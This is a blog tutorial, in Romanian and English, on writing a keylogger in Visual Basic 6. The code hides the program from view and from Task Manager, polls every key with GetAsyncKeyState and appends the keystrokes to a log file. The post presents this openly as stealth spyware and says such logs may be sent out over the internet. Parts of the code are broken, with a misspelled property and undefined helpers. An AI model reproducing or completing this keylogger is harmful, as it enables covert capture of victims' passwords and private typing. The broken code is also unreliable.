Cum sa scrii un keylogger in Visual Basic

De ce Visual Basic? Pentru ca e mai accesibil decat C++ sau Java. Daca te pricepi un pic la programare, in Visual Basic vei fi in stare sa urmaresti logica functionarii keylogger-ului.

Pentru cei ce nu stiu , un keylogger este un programel ascuns pe undeva prin burta PC-ului care inregistreaza tot ce scrii la tastatura, salveaza undeva un fisier si uneori il expediaza automat pe internet catre “cineva binevoitor”.

Start your VB6 environment and we are ready to jump the ride!

We need a main form, which will act as HQ to the program.

First of all, as our program shall run, we need to make sure it is hidden. This should be very simple to accomplish:
Private Sub Form_Load()
Me.Visisble = False
End Sub

This makes our program invisible to the human eye. To make it invisible to computers eye too, we need to add this line in the Form_Load() event App.TaskVisible = False . This enabled our logger to run in stealth mode and the regular Task Manager will not see our application.

There are 3 methods to listen for keys:
* GetAsyncKeyState
* GetKeyboardState
* Windows Hooks

Private Sub tmrTimer_Timer()
Dim i As Integer
Const timelimit As Integer = 10
Static data As String
For i=0 To 255 ‘for all the ASCII codes
If GAKS(i)<>0 Then
If count(i) = 0 Then ‘if the key has just been pressed
data = data & Chr(i)
ElseIf count(i) < timelimit Then
count(i) = count(i) + 1 ‘add 1 to the key count
Else
count(i) = 0 ‘initialize the count
data = data & Chr(i)
End If
Else ‘if the key is not being pressed
count(i) = 0
End If
Next i
End Sub

Now what is left (of the basic keylogger implementation) is just that we write the keys to a file. This should be very simple:

Private Sub tmrTimer_Timer()
‘do all the fuss and listen for keystrokes
‘if a key press is detected
Open App.Path & “\logfile.txt” For Append As #1
Print #1, Chr(keycode);
Close #1
End Sub

This is the very basic concept of writing a keylogger, we have yet not added autostart option and neither have we added an post-compile functionality edit options. These are advanced issues for the beginners.

  • Netcat - command-line options with definitions - tips & tricks
  • Google Trends atacat de hackeri - de la svastica la “fuck you google”
  • Comments

    Comments are closed.